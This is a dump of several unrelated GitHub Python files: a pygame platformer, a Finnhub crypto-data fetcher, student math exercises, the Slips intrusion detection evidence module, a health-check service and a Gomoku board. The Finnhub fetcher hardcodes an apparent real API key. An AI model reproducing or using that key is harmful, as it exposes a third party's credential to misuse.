vertices[i])","repo_name":"AndreasZeijlon/KattisProblems","sub_path":"chopping-wood.py","file_name":"chopping-wood.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38193309725","text":"import pygame\nimport os\nimport sys\n\nvec = pygame.math.Vector2\n\ndef load_image(name, colorkey=None):\n fullname = os.path.join('data', name)\n if not os.path.isfile(fullname):\n print(f\"Файл с изображением '{fullname}' не найден\")\n sys.exit()\n image = pygame.image.load(fullname)\n return image\n\n\nclass Hero(pygame.sprite.Sprite):\n def __init__(self, x, y):\n super().__init__(all_sprites)\n self.image = pygame.Surface([20, 20])\n self.image.fill((0, 0, 255))\n self.rect = pygame.Rect(x, y, 20, 20)\n self.vy = 4\n\n def update(self, *args):\n self.rect = self.rect.move(0, self.vy)\n if pygame.sprite.spritecollideany(self, platforms):\n self.vy = 0\n self.rect.bottom = pygame.sprite.spritecollideany(self, platforms).rect.top\n else:\n self.vy = 4\n if pygame.key.get_pressed()[pygame.K_LEFT]:\n self.rect.left -= 3\n if pygame.key.get_pressed()[pygame.K_RIGHT]:\n self.rect.left += 3\n if pygame.key.get_pressed()[pygame.K_SPACE]:\n self.vy = -4\n\nclass Platform(pygame.sprite.Sprite):\n def __init__(self, x, y, w, h):\n super().__init__(all_sprites)\n self.add(platforms)\n self.image = pygame.Surface([w, h])\n self.image.fill((125, 125, 125))\n self.rect = pygame.Rect(x, y, w, h)\n\n\nif __name__ == '__main__':\n pygame.init()\n size = width, height = 800, 600\n screen = pygame.display.set_mode(size)\n running = True\n all_sprites = pygame.sprite.Group()\n platforms = pygame.sprite.Group()\n fps = 60\n clock = pygame.time.Clock()\n Hero(0, height - 30)\n Platform(0, height - 10, width, 20)\n while running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n screen.fill((255, 255, 255))\n all_sprites.update()\n all_sprites.draw(screen)\n\n pygame.display.flip()\n clock.tick(fps)\n pygame.quit()\n","repo_name":"Tnodyrc/yandexgame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28997918702","text":"from threading import Thread\nimport pandas as pd\nimport finnhub\nfrom logger import Log\n\n\n\nfinnhub_client = finnhub.Client(api_key='cak8puqad3ier73m1g30')\nfinnhub_client.DEFAULT_TIMEOUT=100\nFILE_PATH = 'files/'\n\nclass CryptoFetcher(Thread):\n def __init__(self, symbol, resolutiuon, _from, _to) -> None:\n super().__init__()\n self.symbol = symbol\n self.resolutiuon = resolutiuon\n self._from = _from\n self._to = _to - 60\n self.start()\n \n def run(self) -> None:\n result = {}\n count = 0\n symbol_str = self.symbol.replace(':', '-')\n try:\n result = finnhub_client.crypto_candles(self.symbol, self.resolutiuon, self._from, self._to)\n result_status = result['s']\n \n if result_status == 'no_data':\n summary = {\n 'at': self._to,\n 'from': self._from,\n 'to': self._to,\n 'symbol': self.symbol,\n 'resolution': self.resolutiuon,\n 'result': result_status\n }\n elif result_status == 'ok':\n result_df = pd.DataFrame(result)\n max_result_timestamp = max(result_df['t'])\n filename = '{}_{}_{}.csv'.format(symbol_str, str(self._to), str(max_result_timestamp))\n result_df.drop(columns=['s'], inplace=True)\n result_df.to_csv('{}{}'.format(FILE_PATH, filename), index=False)\n count = result_df.shape[0]\n summary = {\n 'at': self._to,\n 'from': self._from,\n 'to': max_result_timestamp,\n 'symbol': self.symbol,\n 'resolution': self.resolutiuon,\n 'result': result_status\n }\n pd.DataFrame(summary, index=[0]).to_csv('summary.csv', index=False, header=False, mode='a')\n Log('{} new records recieved for symbol:{}'.format(count, symbol_str))\n # print('Symbol:{} Done'.format(symbol_str))\n except finnhub.FinnhubAPIException as e:\n Log(e.status_code)\n Log(e.message)\n except Exception as e:\n Log(e)\n \n \n","repo_name":"karrabi/SampleCICDProject","sub_path":"extract/extract_project/fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16018708987","text":"'''\nCheckpoint 2 Computational Thinking with Python\nAlunas:\nAnny Dias - RM:98295\nCamila Padalino - RM:98316\nLuana Cabezaolias - RM:99320\n'''\n\n#Verificar se o número é primo\ndef calcular_numero_primo(numero):\n for i in range(2,numero):\n if numero % i == 0:\n return False\n return True\n\n#Analisar o número primo mais próximo\ndef primo_proximo(numero):\n if numero < 2:\n return 2\n n = 0 \n while True:\n n += 1\n if calcular_numero_primo(numero):\n return numero\n elif calcular_numero_primo(numero-n):\n return numero - n\n elif calcular_numero_primo(numero+n):\n return numero + n\n\n#Pedindo o número ao usuário e verificando se é válido\nwhile True:\n numero = int(input(\"Insira um número positivo de 1 a 1000 (para encerrar o programa, digite 0): \"))\n if numero == 0:\n print(\"Fim do programa\")\n break\n elif numero < 0:\n print(\"Número inválido\")\n elif numero > 1000:\n print(\"Número inválido\")\n else: \n primo = primo_proximo(numero)\n print(f\"O número primo mais próximo de {numero} é {primo}\")\n \n\n \n\n \n","repo_name":"camilapadalino/pythoncheckpoint2","sub_path":"arquivo.py","file_name":"arquivo.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6686687562","text":"import multiprocessing\nfrom slips.core.database import __database__\nimport json\nfrom datetime import datetime\nimport configparser\nimport platform\nfrom colorama import init\nfrom os import path\nfrom colorama import Fore, Back, Style\n\n\n# Evidence Process\nclass EvidenceProcess(multiprocessing.Process):\n \"\"\"\n A class to process the evidence from the alerts and update the threat level\n It only work on evidence for IPs that were profiled\n This should be converted into a module\n \"\"\"\n def __init__(self, inputqueue, outputqueue, config, output_folder, logs_folder):\n self.name = 'Evidence'\n multiprocessing.Process.__init__(self)\n self.inputqueue = inputqueue\n self.outputqueue = outputqueue\n self.config = config\n # Start the DB\n __database__.start(self.config)\n self.separator = __database__.separator\n # Read the configuration\n self.read_configuration()\n # Subscribe to channel 'tw_modified'\n self.c1 = __database__.subscribe('evidence_added')\n self.logfile = self.clean_evidence_log_file(output_folder)\n self.jsonfile = self.clean_evidence_json_file(output_folder)\n # If logs enabled, write alerts to the log folder as well\n if logs_folder:\n self.logs_logfile = self.clean_evidence_log_file(logs_folder+'/')\n self.logs_jsonfile = self.clean_evidence_json_file(logs_folder+'/')\n else:\n self.logs_logfile = False\n self.logs_jsonfile = False\n\n # Set the timeout based on the platform. This is because the pyredis lib does not have officially recognized the timeout=None as it works in only macos and timeout=-1 as it only works in linux\n if platform.system() == 'Darwin':\n # macos\n self.timeout = None\n elif platform.system() == 'Linux':\n # now linux also needs to be non-negative\n self.timeout = None\n else:\n self.timeout = None\n\n def print(self, text, verbose=1, debug=0):\n \"\"\"\n Function to use to print text using the outputqueue of slips.\n Slips then decides how, when and where to print this text by taking all the prcocesses into account\n\n Input\n verbose: is the minimum verbosity level required for this text to be printed\n debug: is the minimum debugging level required for this text to be printed\n text: text to print. Can include format like 'Test {}'.format('here')\n\n If not specified, the minimum verbosity level required is 1, and the minimum debugging level is 0\n \"\"\"\n\n # self.name = f'{Style.DIM}{Fore.RED}{self.name}{Style.RESET_ALL}'\n vd_text = str(int(verbose) * 10 + int(debug))\n self.outputqueue.put(vd_text + '|' + self.name + '|[' + self.name + '] ' + str(text))\n\n def read_configuration(self):\n \"\"\" Read the configuration file for what we need \"\"\"\n # Get the format of the time in the flows\n try:\n self.timeformat = self.config.get('timestamp', 'format')\n except (configparser.NoOptionError, configparser.NoSectionError, NameError):\n # There is a conf, but there is no option, or no section or no configuration file specified\n self.timeformat = '%Y/%m/%d %H:%M:%S.%f'\n\n # Read the width of the TW\n try:\n data = self.config.get('parameters', 'time_window_width')\n self.width = float(data)\n except ValueError:\n # Its not a float\n if 'only_one_tw' in data:\n # Only one tw. Width is 10 9s, wich is ~11,500 days, ~311 years\n self.width = 9999999999\n except configparser.NoOptionError:\n # By default we use 300 seconds, 5minutes\n self.width = 300.0\n except (configparser.NoOptionError, configparser.NoSectionError, NameError):\n # There is a conf, but there is no option, or no section or no configuration file specified\n self.width = 300.0\n # Limit any width to be > 0. By default we use 300 seconds, 5minutes\n if self.width < 0:\n self.width = 300.0\n\n # Get the detection threshold\n try:\n self.detection_threshold = float(self.config.get('detection', 'evidence_detection_threshold'))\n except (configparser.NoOptionError, configparser.NoSectionError, NameError):\n # There is a conf, but there is no option, or no section or no configuration file specified, by default...\n self.detection_threshold = 2\n self.print(f'Detection Threshold: {self.detection_threshold} attacks per minute ({self.detection_threshold * self.width / 60} in the current time window width)')\n\n def print_evidence(self, profileid, twid, ip, detection_module, detection_type, detection_info, description):\n '''\n Function to display evidence according to the detection module.\n :return : string with a correct evidence displacement\n '''\n evidence_string = ''\n dns_resolution_detection_info = __database__.get_dns_resolution(detection_info)\n dns_resolution_detection_info_final = dns_resolution_detection_info[0:3] if dns_resolution_detection_info else ''\n dns_resolution_ip = __database__.get_dns_resolution(ip)\n dns_resolution_ip_final = dns_resolution_ip[0:3] if dns_resolution_detection_info else ''\n\n if detection_module == 'ThreatIntelligenceBlacklistIP':\n if detection_type == 'dstip':\n evidence_string = f'Infected IP {ip} connected to blacklisted IP {detection_info} {dns_resolution_detection_info_final} due to {description}.'\n\n elif detection_type == 'srcip':\n evidence_string = f'Detected blacklisted IP {detection_info} {dns_resolution_detection_info_final} due to {description}. '\n\n elif detection_module == 'ThreatIntelligenceBlacklistDomain':\n evidence_string = f'Detected domain {detection_info} due to {description}.'\n\n elif detection_module == 'SSHSuccessful':\n evidence_string = f'IP {ip} did a successful SSH. {description}.'\n else:\n evidence_string = f'Detected IP {ip} {dns_resolution_ip_final} due to {description}.'\n\n return evidence_string\n\n def clean_evidence_log_file(self, output_folder):\n '''\n Clear the file if exists for evidence log\n '''\n if path.exists(output_folder + 'alerts.log'):\n open(output_folder + 'alerts.log', 'w').close()\n return open(output_folder + 'alerts.log', 'a')\n\n def clean_evidence_json_file(self, output_folder):\n '''\n Clear the file if exists for evidence log\n '''\n if path.exists(output_folder + 'alerts.json'):\n open(output_folder + 'alerts.json', 'w').close()\n return open(output_folder + 'alerts.json', 'a')\n\n\n def addDataToJSONFile(self, data):\n \"\"\"\n Add a new evidence line to the file.\n \"\"\"\n try:\n data_json = json.dumps(data)\n self.jsonfile.write(data_json)\n self.jsonfile.write('\\n')\n self.jsonfile.flush()\n # If logs folder are enabled, write alerts in the folder as well\n if self.logs_jsonfile:\n self.logs_jsonfile.write(data_json)\n self.logs_jsonfile.write('\\n')\n self.logs_jsonfile.flush()\n except KeyboardInterrupt:\n return True\n except Exception as inst:\n self.print('Error in addDataToJSONFile()')\n self.print(type(inst))\n self.print(inst)\n\n def addDataToLogFile(self, data):\n \"\"\"\n Add a new evidence line to the file.\n \"\"\"\n try:\n self.logfile.write(data)\n self.logfile.write('\\n')\n self.logfile.flush()\n # If logs are enabled, write alerts in the folder as well\n if self.logs_logfile:\n self.logs_logfile.write(data)\n self.logs_logfile.write('\\n')\n self.logs_logfile.flush()\n except KeyboardInterrupt:\n return True\n except Exception as inst:\n self.print('Error in addDataToLogFile()')\n self.print(type(inst))\n self.print(inst)\n\n\n def run(self):\n try:\n # Adapt this process to process evidence from only IPs and not profileid or twid\n while True:\n # Wait for a message from the channel that a TW was modified\n message = self.c1.get_message(timeout=self.timeout)\n # if timewindows are not updated for a long time (see at logsProcess.py), we will stop slips automatically.The 'stop_process' line is sent from logsProcess.py.\n if message['data'] == 'stop_process':\n self.logfile.close()\n self.jsonfile.close()\n return True\n elif message['channel'] == 'evidence_added' and type(message['data']) is not int:\n # Data sent in the channel as a json dict, it needs to be deserialized first\n data = json.loads(message['data'])\n profileid = data.get('profileid')\n ip = profileid.split(self.separator)[1]\n twid = data.get('twid')\n # Key data\n key = data.get('key')\n type_detection = key.get('type_detection')\n detection_info = key.get('detection_info')\n type_evidence = key.get('type_evidence')\n # evidence data\n evidence_data = data.get('data')\n description = evidence_data.get('description')\n evidence_to_log = self.print_evidence(profileid,\n twid,\n ip,\n type_evidence,\n type_detection,\n detection_info,\n description)\n # timestamp\n now = datetime.now()\n current_time = now.strftime('%Y-%m-%d %H:%M:%S')\n\n evidence_dict = {'timestamp': current_time,\n 'detected_ip': ip,\n 'detection_module':type_evidence,\n 'detection_info':str(type_detection) + ' ' + str(detection_info),\n 'description':description}\n\n self.addDataToLogFile(current_time + ' ' + evidence_to_log)\n self.addDataToJSONFile(evidence_dict)\n evidence = __database__.getEvidenceForTW(profileid, twid)\n # Important! It may happen that the evidence is not related to a profileid and twid.\n # For example when the evidence is on some src IP attacking our home net, and we are not creating\n # profiles for attackers\n if evidence:\n evidence = json.loads(evidence)\n # self.print(f'Evidence: {evidence}. Profileid {profileid}, twid {twid}')\n # The accumulated threat level is for all the types of evidence for this profile\n accumulated_threat_level = 0.0\n # CONTINUE HERE\n ip = profileid.split(self.separator)[1]\n for key in evidence:\n # Deserialize key data\n key_json = json.loads(key)\n type_detection = key_json.get('type_detection')\n detection_info = key_json.get('detection_info')\n type_evidence = key_json.get('type_evidence')\n\n # Deserialize evidence data\n data = evidence[key]\n confidence = data.get('confidence')\n threat_level = data.get('threat_level')\n description = data.get('description')\n\n # Compute the moving average of evidence\n new_threat_level = threat_level * confidence\n self.print('\\t\\tWeighted Threat Level: {}'.format(new_threat_level), 5, 0)\n accumulated_threat_level += new_threat_level\n self.print('\\t\\tAccumulated Threat Level: {}'.format(accumulated_threat_level), 5, 0)\n\n # This is the part to detect if the accumulated evidence was enough for generating a detection\n # The detection should be done in attacks per minute. The parameter in the configuration is attacks per minute\n # So find out how many attacks corresponds to the width we are using\n # 60 because the width is specified in seconds\n detection_threshold_in_this_width = self.detection_threshold * self.width / 60\n if accumulated_threat_level >= detection_threshold_in_this_width:\n # if this profile was not already blocked in this TW\n if not __database__.checkBlockedProfTW(profileid, twid):\n # Differentiate the type of evidence for different detections\n evidence_to_print = self.print_evidence(profileid, twid, ip, type_evidence, type_detection,detection_info, description)\n self.print(f'{Fore.RED}\\t{evidence_to_print}{Style.RESET_ALL}', 1, 0)\n __database__.publish('new_blocking', ip)\n __database__.markProfileTWAsBlocked(profileid, twid)\n except KeyboardInterrupt:\n self.logfile.close()\n self.jsonfile.close()\n self.outputqueue.put('01|evidence|[Evidence] Stopping the Evidence Process')\n return True\n except Exception as inst:\n self.outputqueue.put('01|evidence|[Evidence] Error in the Evidence Process')\n self.outputqueue.put('01|evidence|[Evidence] {}'.format(type(inst)))\n self.outputqueue.put('01|evidence|[Evidence] {}'.format(inst))\n return True\n","repo_name":"jwp83/StratosphereLinuxIPS","sub_path":"evidenceProcess.py","file_name":"evidenceProcess.py","file_ext":"py","file_size_in_byte":14619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"40843866327","text":"from ..decorators import (\n enroute,\n)\nfrom ..requests import (\n Request,\n Response,\n)\nfrom ..utils import (\n get_host_ip,\n)\n\n\nclass SystemService:\n \"\"\"System Service class.\"\"\"\n\n # noinspection PyUnusedLocal\n @enroute.rest.command(\"/system/health\", \"GET\")\n def check_health(self, request: Request) -> Response:\n \"\"\"Get the system health.\n\n :param request: The given request.\n :return: A Response containing the system status.\n \"\"\"\n return Response({\"host\": get_host_ip()})\n","repo_name":"minos-framework/minos-python","sub_path":"packages/core/minos-microservice-networks/minos/networks/system/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"47"} +{"seq_id":"27995934139","text":"reverse = [] #Needed for isDouble\r\nlistOfvalues = [ #needed for the table of validity\r\n [0, 0, 0],\r\n [0, 0, 1],\r\n [0, 1, 0],\r\n [0, 1, 1],\r\n [1, 0, 0],\r\n [1, 0, 1],\r\n [1, 1, 0],\r\n [1, 1, 1],\r\n ]\r\n\r\n# the function input\r\nfunction = [ ]\r\ncode = \"\"\r\ndef convertInput ():\r\n code= input(\"Enter your code (should consist of 8 numbers (1 or 0) without spaces): \")\r\n if(len(code)!=8): raise ValueError(\"The code must only contain 8 digits\")\r\n\r\n for o in range (len(code)):\r\n if(int(code[0])!= 1 or int(code[0])!= 1 ):\r\n raise ValueError(\"Check your input\")\r\n break\r\n\r\n function.append(int(code[o]))\r\n\r\n\r\ndef printer (listOfvalues, function):\r\n\r\n header = \"| X | Y | Z | F |\"\r\n underLine = \"____________________\"\r\n\r\n\r\n print (header)\r\n print(underLine)\r\n\r\n for i in range (len(listOfvalues)):\r\n print(\"|\", listOfvalues[i][0], \"|\", listOfvalues[i][1], \"|\", listOfvalues[i][2], \"|\", function[i], \"|\")\r\n\r\n print(underLine)\r\n\r\ndef keepsZero (listOfvalues):\r\n if(listOfvalues[0] ==0): print(\"The given function keeps 0\")\r\n else: print(\"The given function doesn't keep 0\")\r\n\r\ndef keepsOne (listOfvalues) :\r\n if (listOfvalues[7] == 1):\r\n print(\"The given function keeps 1\")\r\n else:\r\n print(\"The given function doesn't keep 1\")\r\n\r\ndef isDouble (function):\r\n\r\n for i in range (len(function)):\r\n if(function[i]==1): reverse.append(0)\r\n elif(function[i]==0): reverse.append(1)\r\n print(\"The given function is dual to \", reverse)\r\n return reverse\r\n\r\ndef isSelfDual (function):\r\n isDouble(function)\r\n if(function == reverse): print(\"The given function is self dual\")\r\n print(\"The given function is not self dual\")\r\n\r\ndef dknf(listOfvalues, function):\r\n print( \"DKNF:\",end = \" \" )\r\n for i in range (len(function)):\r\n values = []\r\n if(function[i]==0) :\r\n for b in range (len(listOfvalues[i])):\r\n if(b==0 and listOfvalues[i][b]==0 ):values.append(\"x\")\r\n if (b == 0 and listOfvalues[i][b] == 1):values.append(\"!x\")\r\n if (b == 1 and listOfvalues[i][b] == 0):values.append(\"y\")\r\n if (b == 1 and listOfvalues[i][b] == 1):values.append(\"!y\")\r\n if (b == 2 and listOfvalues[i][b] == 1):values.append(\"!z\")\r\n if (b == 2 and listOfvalues[i][b] == 0):values.append(\"z\")\r\n print(\"(\", values[0],\"+\", values[1], \"+\", values[2], end=\") \")\r\n print( \" \")\r\n\r\ndef ddnf(listOfvalues, function):\r\n\r\n print(\"DDNF:\", end=\" \")\r\n values = []\r\n for i in range (len(function)):\r\n if(function[i]==1) :\r\n for b in range (len(listOfvalues[i])):\r\n if(b==0 and listOfvalues[i][b]==0 ):values.append(\"!x\")\r\n if (b == 0 and listOfvalues[i][b] == 1):values.append(\"x\")\r\n if (b == 1 and listOfvalues[i][b] == 0):values.append(\"!y\")\r\n if (b == 1 and listOfvalues[i][b] == 1):values.append(\"y\")\r\n if (b == 2 and listOfvalues[i][b] == 1):values.append(\"z\")\r\n if (b == 2 and listOfvalues[i][b] == 0):values.append(\"!z\")\r\n i = len(values)\r\n b=0\r\n while (i >=3):\r\n if (i != 3):\r\n print(\"(\", values[b], \"*\", values[b+1], \"*\", values[b+2 ], end=\" ) + \")\r\n elif (i == 3):\r\n print(\"(\", values[b], \"*\", values[b+1], \"*\", values[b+2], end=\" ) \")\r\n i -=3\r\n b +=3\r\n print(\" \")\r\n\r\n\r\ndef sum_mod_2(a, b):\r\n return int(not a == b)\r\n\r\ndef conjunction(a, b):\r\n return int(a == b == 1)\r\n\r\ndef make_pascal_triangle(f):\r\n data = [f]\r\n\r\n for i in range(len(f)-1,0,-1):\r\n row = []\r\n for j in range(0,i):\r\n row.append(sum_mod_2(data[-1][j],data[-1][j+1]))\r\n data.append(row)\r\n\r\n return data\r\n\r\n\r\ndef is_linear(func, base):\r\n\r\n if sum(func) < 3:\r\n return False\r\n\r\n triangle = make_pascal_triangle(func)\r\n\r\n for i in range(1, len(triangle)):\r\n if triangle[i][0] == 1 and base[i][0] + base[i][1] + base[i][2] != 1:\r\n return False\r\n\r\n return True\r\n\r\n#Execution\r\ntry:\r\n convertInput()\r\nexcept Exception as e:\r\n print(e)\r\n exit()\r\n\r\nprinter(listOfvalues, function)\r\nkeepsZero (listOfvalues)\r\nkeepsOne (listOfvalues)\r\nisSelfDual(function)\r\nprint(\"The given function is linear:\", is_linear(function, listOfvalues))\r\nddnf(listOfvalues,function)\r\ndknf(listOfvalues, function)","repo_name":"Critalic/KDMLab3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14360122388","text":"\"\"\"\nsimple_board.py\n\nImplements a basic Go board with functions to:\n- initialize to a given board size\n- check if a move is legal\n- play a move\n\nThe board uses a 1-dimensional representation with padding\n\"\"\"\nimport random\nimport numpy as np\nfrom board_util import GoBoardUtil, BLACK, WHITE, EMPTY, BORDER, \\\n PASS, is_black_white, coord_to_point, where1d, \\\n MAXSIZE, NULLPOINT\n\nclass SimpleGoBoard(object):\n#=====================================================================================\n#=====================================================================================\n\n def simulate(self): #the random simulation\n if not self.check_game_end_gomoku()[0]: #if the game is not end\n allMoves = self.get_empty_points() #get all empty point(legal move)\n random.shuffle(allMoves) \n for i in range(len(allMoves)): #play each legal move\n self.play_move_gomoku(allMoves[i],self.current_player)\n Rs,Winner = self.check_game_end_gomoku() #after each move, check the board state --> Win,Draw\n if Rs:\n return Winner, \"Random\"\n else:\n if(len(self.get_empty_points))==0:\n return self.drawWinner, \"Random\"\n \n def rulesimulate(self): #the rule_based simulation\n #return BLACK, 0\n RS,Winner = self.check_game_end_gomoku()\n if not RS: \n while True:\n movetype,moves = self.GetMoveList()\n random.shuffle(moves)\n if(movetype == \"Random\"):\n allMoves = self.get_empty_points() #get all empty point(legal move)\n random.shuffle(allMoves)\n move = allMoves[0]\n else:\n move = moves[0]\n self.play_move_gomoku(move,self.current_player)\n RS,Winner = self.check_game_end_gomoku() #after each move, check the board state --> Win,Draw\n if RS:\n return Winner, None\n else:\n if(len(self.get_empty_points()))==0:\n return self.drawWinner, None\n else:\n return self.current_player, None \n\n\n############################################################\n def immediateWin(self, color, moves):\n \n moveList = []\n for move in moves:\n self.play_move_gomoku(move, color)\n game_end, winner = self.check_game_end_gomoku()\n self.movelist.pop() \n self.undoMove(move)\n if game_end:\n moveList.append(move) \n\n return moveList\n\n def get_twoD_board(self):\n size = self.size\n board2d = np.zeros((size, size), dtype = np.int32)\n for row in range(size):\n start = self.row_start(row + 1)\n board2d[row, :] = self.board[start : start + size]\n return board2d\n\n def fourInRow(self, color):\n size = self.size\n board = self.get_twoD_board()\n for i in range(size):\n count = 0\n empty = 0\n for j in range(size):\n currentColor = board[i][j]\n if currentColor == 0:\n if count == 4 and empty == 1:\n return True\n else:\n count = 0\n empty = 1\n elif currentColor == color:\n count+= 1\n else:\n count = 0\n empty = 0\n return False\n\n def fourInCol(self, color):\n size = self.size\n board = self.get_twoD_board()\n for j in range(size):\n count = 0\n empty = 0\n for i in range(size):\n currentColor = board[i][j]\n if currentColor == 0:\n if count == 4 and empty == 1:\n #print(i,j)\n return True\n else:\n count = 0\n empty = 1\n elif currentColor == color:\n count+= 1\n else:\n count = 0\n empty = 0\n return False\n\n def checkDia(self, board, i, j, color, count, empty,flag):\n currentColor = board[i][j]\n if currentColor == 0:\n if count == 4 and empty == 1:\n return True\n else:\n count = 0\n empty = 1\n elif currentColor == color:\n count += 1\n else:\n count = 0\n empty = 0\n\n try:\n if (flag == \"/\"):\n if (j==0):\n return False\n return self.checkDia(board, i+1, j-1, black, white,\"/\")\n else:\n return self.checkDia(board, i+1, j+1, black, white,\"\\\\\")\n except: \n return False \n\n def fourIndia(self, color):\n board = self.get_twoD_board()\n for i in range(self.size):\n for j in range(self.size):\n if self.checkDia(board, i, j, color, 0, 0, '/') or self.checkDia(board, i, j, color, 0, 0, '\\\\'):\n return True\n return False\n\n def isOpenFour(self, color, move):\n #print()\n return self.fourInRow(color) or self.fourInCol(color) or self.fourIndia(color)\n\n \n def openFour(self, color, moves):\n # print(self.board)\n # print(moves)\n moveList = []\n moves = self.get_empty_points()\n #print(moves)\n for move in moves:\n self.play_move_gomoku(move, color)\n if self.isOpenFour(color, move):\n moveList.append(move)\n self.movelist.pop() \n self.undoMove(move)\n\n return moveList\n\n def blockOpenFour(self, color, op_color, moves):\n movelist = []\n #print(moves)\n #print(self.movelist)\n #print(\"\\n\")\n if self.openFour(op_color, moves):\n for move in moves:\n self.play_move_gomoku(move, color)\n \n if not self.openFour(op_color, moves):\n movelist.append(move)\n # print(self.movelist)\n self.movelist.pop()\n # print(self.movelist) \n self.undoMove(move)\n\n return movelist\n\n def GetMoveList(self):\n #generate moves based on pattern\n moves = self.get_empty_points()\n color = self.current_player\n op_color = GoBoardUtil.opponent(self.current_player)\n #rule1: Win\n moveList = self.immediateWin(color, moves)\n if moveList:\n return \"Win\",moveList\n\n #rule2: BlockWin\n moveList = self.immediateWin(op_color, moves)\n if moveList:\n return \"BlockWin\",moveList\n \n #rule3: OpenFour\n moveList = self.openFour(color, moves)\n if moveList:\n return \"OpenFour\",moveList\n #rule4: BlockOpenFour\n moveList = self.blockOpenFour(color, op_color, moves)\n if moveList:\n return \"BlockOpenFour\",moveList\n #rule5: Random\n return \"Random\",moves\n#############################################################\n def moveNumber(self): #get the step num, use to undo\n return (len(self.movelist))\n\n def undoMove(self,location): #set the point back to empty, and switch the player\n self.board[location] = EMPTY\n self.current_player = GoBoardUtil.opponent(self.current_player)\n\n def resetToMoveNumber(self,num): #the move want to undo is between the current step and the prev one \n gap = (len(self.movelist) - num)\n if gap >= 0:\n for i in range(gap):\n location = self.movelist.pop() #also remove it from the movelist\n self.undoMove(location)\n \n def staticallyEvaluateForToPlay(self):\n winColor = self.winner()\n if (winColor == EMPTY) and (self.drawWinner != EMPTY):\n winColor = self.drawWinner\n if winColor == self.toPlay:\n return True\n assert winColor == opponent(self.toPlay)\n return False\n\n\n#=====================================================================================\n#===================================================================================== \t\n def get_color(self, point):\n return self.board[point]\n\n def pt(self, row, col):\n return coord_to_point(row, col, self.size)\n\n def is_legal(self, point, color):\n \"\"\"\n Check whether it is legal for color to play on point\n \"\"\"\n assert is_black_white(color)\n # Special cases\n if point == PASS:\n return True\n elif self.board[point] != EMPTY:\n return False\n if point == self.ko_recapture:\n return False\n \n # General case: detect captures, suicide\n opp_color = GoBoardUtil.opponent(color)\n self.board[point] = color\n legal = True\n has_capture = self._detect_captures(point, opp_color)\n if not has_capture and not self._stone_has_liberty(point):\n block = self._block_of(point)\n if not self._has_liberty(block): # suicide\n legal = False\n self.board[point] = EMPTY\n return legal\n\n def _detect_captures(self, point, opp_color):\n \"\"\"\n Did move on point capture something?\n \"\"\"\n for nb in self.neighbors_of_color(point, opp_color):\n if self._detect_capture(nb):\n return True\n return False\n\n def get_empty_points(self):\n \"\"\"\n Return:\n The empty points on the board\n \"\"\"\n return where1d(self.board == EMPTY)\n\n def __init__(self, size):\n \"\"\"\n Creates a Go board of given size\n \"\"\"\n assert 2 <= size <= MAXSIZE\n self.reset(size)\n\n def reset(self, size):\n \"\"\"\n Creates a start state, an empty board with the given size\n The board is stored as a one-dimensional array\n See GoBoardUtil.coord_to_point for explanations of the array encoding\n \"\"\"\n self.movelist=[]\n self.drawWinner = EMPTY\n self.size = size\n self.NS = size + 1\n self.WE = 1\n self.ko_recapture = None\n self.current_player = BLACK\n self.maxpoint = size * size + 3 * (size + 1)\n self.board = np.full(self.maxpoint, BORDER, dtype = np.int32)\n self.liberty_of = np.full(self.maxpoint, NULLPOINT, dtype = np.int32)\n self._initialize_empty_points(self.board)\n self._initialize_neighbors()\n\n def copy(self):\n b = SimpleGoBoard(self.size)\n assert b.NS == self.NS\n assert b.WE == self.WE\n b.ko_recapture = self.ko_recapture\n b.current_player = self.current_player\n assert b.maxpoint == self.maxpoint\n b.board = np.copy(self.board)\n return b\n\n def row_start(self, row):\n assert row >= 1\n assert row <= self.size\n return row * self.NS + 1\n \n def _initialize_empty_points(self, board):\n \"\"\"\n Fills points on the board with EMPTY\n Argument\n ---------\n board: numpy array, filled with BORDER\n \"\"\"\n for row in range(1, self.size + 1):\n start = self.row_start(row)\n board[start : start + self.size] = EMPTY\n\n def _on_board_neighbors(self, point):\n nbs = []\n for nb in self._neighbors(point):\n if self.board[nb] != BORDER:\n nbs.append(nb)\n return nbs\n \n def _initialize_neighbors(self):\n \"\"\"\n precompute neighbor array.\n For each point on the board, store its list of on-the-board neighbors\n \"\"\"\n self.neighbors = []\n for point in range(self.maxpoint):\n if self.board[point] == BORDER:\n self.neighbors.append([])\n else:\n self.neighbors.append(self._on_board_neighbors(point))\n \n def is_eye(self, point, color):\n \"\"\"\n Check if point is a simple eye for color\n \"\"\"\n if not self._is_surrounded(point, color):\n return False\n # Eye-like shape. Check diagonals to detect false eye\n opp_color = GoBoardUtil.opponent(color)\n false_count = 0\n at_edge = 0\n for d in self._diag_neighbors(point):\n if self.board[d] == BORDER:\n at_edge = 1\n elif self.board[d] == opp_color:\n false_count += 1\n return false_count <= 1 - at_edge # 0 at edge, 1 in center\n \n def _is_surrounded(self, point, color):\n \"\"\"\n check whether empty point is surrounded by stones of color.\n \"\"\"\n for nb in self.neighbors[point]:\n nb_color = self.board[nb]\n if nb_color != color:\n return False\n return True\n\n def _stone_has_liberty(self, stone):\n lib = self.find_neighbor_of_color(stone, EMPTY)\n return lib != None\n\n def _get_liberty(self, block):\n \"\"\"\n Find any liberty of the given block.\n Returns None in case there is no liberty.\n block is a numpy boolean array\n \"\"\"\n for stone in where1d(block):\n lib = self.find_neighbor_of_color(stone, EMPTY)\n if lib != None:\n return lib\n return None\n\n def _has_liberty(self, block):\n \"\"\"\n Check if the given block has any liberty.\n Also updates the liberty_of array.\n block is a numpy boolean array\n 